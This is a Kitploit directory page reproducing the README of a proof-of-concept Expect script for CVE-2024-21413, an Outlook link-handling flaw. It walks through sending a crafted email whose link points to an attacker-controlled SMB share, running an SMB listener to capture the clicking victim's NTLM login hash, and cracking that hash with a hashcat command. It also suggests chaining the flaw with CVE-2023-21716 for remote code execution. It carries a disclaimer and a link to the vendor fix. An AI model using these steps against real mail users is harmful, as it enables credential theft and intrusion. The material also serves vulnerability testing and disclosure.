Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-21413 — Microsoft Outlook Information Disclosure Vulnerability (leak password hash) - Expect Script POC | Kitploit
Tools/GitHubGitHub/duy-31/cve-2024-21413
Password CrackingPhishing ToolsVulnerability AnalysisExploitationLearning & EducationEmail Security
GitHubduy-31/cve-2024-21413

CVE-2024-21413

Microsoft Outlook Information Disclosure Vulnerability (leak password hash) - Expect Script POC

View Repository
157332 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-21413 - Expect Script POC

Microsoft Outlook Leak credentials & Remote Code Execution Vulnerability when chained with CVE-2023-21716 (through the preview panel) CVSS:3.1 9.8 / 8.5

Outlook should warm you about the risk on opening an external link => but this is not the case!

image

usage: ./cve-2024-21413.sh mx.fqdn port sender recipient url

./cve-2024-21413.sh mail.mydomain.com 25 [email protected] [email protected] "\\xx.xx.xx.xx\test\duy31.txt"

notes: chmod +x cve-2024-21413.sh

require app expect & require legitimate ip sender and email sender (to pass SPF, DKIM, DMARC)

  • First run a smb listener like that

image

  • run the poc

image

  • and wait for the email & in the preview windows click on the link

image

  • then you should retrieve the login & hash of the person that clicked on the link (without the warning prompt on affected outlook version)

    image

  • You can then try to crack the password with hashcat. Just copy all the line with the login name to a file and run hashcat with module 5600

hashcat -a 0 -m 5600 hash.txt rockyou.txt -o cracked.txt -O

  • You can chain this CVE with CVE-2023-21716 to obtain RCE !!!

Kudos: [https://research.checkpoint.com/2024/the-risks-of-the-monikerlink-bug-in-microsoft-outlook-and-the-big-picture/]

Workaround/Fix: [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21413]

more about me ;) https://www.linkedin.com/in/duy-huan-bui/

⚠️ Disclaimer: IMPORTANT: This script is provided for educational, ethical testing, and lawful use ONLY. Do not use it on any system or network without explicit permission. Unauthorized access to computer systems and networks is illegal, and users caught performing unauthorized activities are subject to legal actions. The author is NOT responsible for any damage caused by the misuse of this script.

Download Tool